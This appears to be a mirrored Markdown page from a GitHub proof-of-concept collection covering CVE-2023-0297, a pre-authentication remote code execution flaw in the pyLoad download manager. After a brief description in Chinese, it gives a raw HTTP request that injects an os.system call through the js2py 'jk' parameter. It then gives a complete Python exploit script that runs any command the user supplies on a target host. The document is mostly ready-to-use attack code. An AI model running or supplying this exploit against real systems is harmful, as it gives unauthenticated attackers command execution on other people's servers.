mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
74 lines
2.3 KiB
Markdown
74 lines
2.3 KiB
Markdown
|
|
|||
|
|
## pyLoad远程代码执行漏洞
|
|||
|
|
pyLoad是一个用 Python 编写的免费和开源下载管理器，可用于NAS、下一代路由器、无头家庭服务器以及任何能够连接到互联网并支持 Python 编程语言的设备。
|
|||
|
|
|
|||
|
|
pyLoad 存在代码注入漏洞，未经身份验证的攻击者可以通过滥用 js2py 功能执行任意 Python 代码。
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
POST flash/addcrypted2 HTTP/1.1
|
|||
|
|
Host:127.0.0.1
|
|||
|
|
Content-type: application/x-www-form-urlencoded
|
|||
|
|
|
|||
|
|
jk=pyimport%20os;os.system("id");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## exp脚本
|
|||
|
|
```python
|
|||
|
|
|
|||
|
|
# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
|
|||
|
|
# Date: 06-10-2023
|
|||
|
|
# Credits: bAu @bauh0lz
|
|||
|
|
# Exploit Author: Gabriel Lima (0xGabe)
|
|||
|
|
# Vendor Homepage: https://pyload.net/
|
|||
|
|
# Software Link: https://github.com/pyload/pyload
|
|||
|
|
# Version: 0.5.0
|
|||
|
|
# Tested on: Ubuntu 20.04.6
|
|||
|
|
# CVE: CVE-2023-0297
|
|||
|
|
|
|||
|
|
import requests, argparse
|
|||
|
|
|
|||
|
|
parser = argparse.ArgumentParser()
|
|||
|
|
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
|
|||
|
|
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
|
|||
|
|
arguments = parser.parse_args()
|
|||
|
|
|
|||
|
|
def doRequest(url):
|
|||
|
|
try:
|
|||
|
|
res = requests.get(url + '/flash/addcrypted2')
|
|||
|
|
if res.status_code == 200:
|
|||
|
|
return True
|
|||
|
|
else:
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
except requests.exceptions.RequestException as e:
|
|||
|
|
print("[!] Maybe the host is offline :", e)
|
|||
|
|
exit()
|
|||
|
|
|
|||
|
|
def runExploit(url, cmd):
|
|||
|
|
endpoint = url + '/flash/addcrypted2'
|
|||
|
|
if " " in cmd:
|
|||
|
|
validCommand = cmd.replace(" ", "%20")
|
|||
|
|
else:
|
|||
|
|
validCommand = cmd
|
|||
|
|
|
|||
|
|
payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
|
|||
|
|
test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
|
|||
|
|
print('[+] The exploit has be executeded in target machine. ')
|
|||
|
|
|
|||
|
|
def main(targetUrl, Command):
|
|||
|
|
print('[+] Check if target host is alive: ' + targetUrl)
|
|||
|
|
alive = doRequest(targetUrl)
|
|||
|
|
if alive == True:
|
|||
|
|
print("[+] Host up, let's exploit! ")
|
|||
|
|
runExploit(targetUrl,Command)
|
|||
|
|
else:
|
|||
|
|
print('[-] Host down! ')
|
|||
|
|
|
|||
|
|
if(arguments.url != None and arguments.cmd != None):
|
|||
|
|
targetUrl = arguments.url
|
|||
|
|
Command = arguments.cmd
|
|||
|
|
main(targetUrl, Command)
|
|||
|
|
```
|